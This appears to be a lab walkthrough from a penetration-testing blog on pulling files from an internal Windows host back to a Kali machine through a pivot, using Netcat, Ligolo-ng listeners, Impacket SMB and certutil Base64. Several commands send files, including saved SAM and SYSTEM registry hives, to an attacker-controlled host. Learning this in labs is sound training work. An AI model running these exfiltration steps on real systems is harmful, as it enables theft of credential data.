← PostsWALKTHROUGH

Moving Files Across Pivot Hosts and Proxies

Practical ways to pull files back from an internal Windows host across a pivot: Netcat, Ligolo-ng listeners, Impacket SMB, PowerShell zipping, and Base64.

Contents
  1. A text file over Netcat
  2. Going through a Ligolo-ng listener
  3. Copying files to an SMB share
  4. Moving binary files
  5. Compress first, then transfer
  6. Base64 fallback with certutil

Moving a file between a lab host and Kali is straightforward until the host can’t reach Kali directly. Then we need to think about which side can reach the pivot and where the listener needs to be.

These examples use a Windows lab target (MS02) and a pivot (MS01). We’ll start with a direct connection, then look at what changes when the traffic has to go through the pivot. Swap <KALI_IP> and <PIVOT_IP> for your lab addresses.

A text file over Netcat

When you have direct reachability (or an existing port forward) and just want a small file back fast, Netcat is hard to beat.

Start a listener on Kali:

nc -lnvp 6666 > proof.txt

From the Windows shell, pipe the file across:

type C:\Users\sql_svc\Desktop\local.txt | nc <KALI_IP> 6666

Or redirect a file directly:

nc <KALI_IP> 6666 < C:\Users\sql_svc\Desktop\proof.txt

Wait a couple seconds after transfer finishes, check the file size on Kali, and Ctrl+C the listener.

Going through a Ligolo-ng listener

If MS02 can reach MS01 but not Kali directly, the connection needs to land on MS01 first. A Ligolo-ng listener can forward it back to Kali.

Inside your active Ligolo session for MS01, expose a listener on the pivot that forwards back to Kali:

session <MS01_id>
listener_add --addr 0.0.0.0:8888 --to 127.0.0.1:8888 --tcp

Start your Netcat receiver on Kali:

nc -lnvp 8888 > ms02-proof.txt

Then have MS02 connect to the pivot’s internal IP instead of Kali:

type C:\Users\sql_svc\Desktop\proof.txt | nc <PIVOT_IP> 8888

Copying files to an SMB share

Netcat gets clunky when you’re pulling several binaries or larger files. Spinning up an SMB share on Kali lets you use native Windows copy.

If MS02 can reach Kali directly:

impacket-smbserver share . -smb2support

Then mount and copy from Windows:

net use Z: \\<KALI_IP>\share
copy C:\Users\sql_svc\Desktop\proof.txt Z:\

If you’re going through a Ligolo-ng pivot, forward port 445 on MS01 back to Kali’s SMB server:

listener_add --addr 0.0.0.0:445 --to 127.0.0.1:445 --tcp

Start impacket-smbserver share /tmp -smb2support on Kali, then mount \\<PIVOT_IP>\share from MS02:

net use Z: \\<PIVOT_IP>\share
copy C:\temp\hives.zip Z:\

(Note: if port 445 is already bound on MS01, SMB forwarding on MS01:445 won’t bind cleanly unless you use an alternate transport like HTTP/Netcat.)

Moving binary files

For binary files, avoid using type as though the contents were plain text. Here are two alternatives for the saved registry hives in this lab.

Compress first, then transfer

Zip them on Windows with PowerShell so you’re moving one smaller binary file:

powershell Compress-Archive C:\temp\SAM,C:\temp\SYSTEM C:\temp\hives.zip

Then move hives.zip over your SMB share (preferred) or via binary Netcat redirection (nc <KALI_IP> 7777 < C:\temp\hives.zip).

Base64 fallback with certutil

If SMB is blocked and binary Netcat is acting up, encode to ASCII Base64 with certutil before sending:

certutil -encode C:\temp\SAM C:\temp\sam.b64
type C:\temp\sam.b64 | nc <KALI_IP> 8888

On Kali, strip the -----BEGIN CERTIFICATE----- / -----END CERTIFICATE----- wrapper lines (or decode with grep -v -- '-----' sam.b64 | base64 -d > SAM) and verify the checksum against certutil -hashfile C:\temp\SAM SHA256 on the Windows side before relying on the copy.

Whichever method we use, a checksum is a better check than assuming a transfer worked because the file appeared on the other side.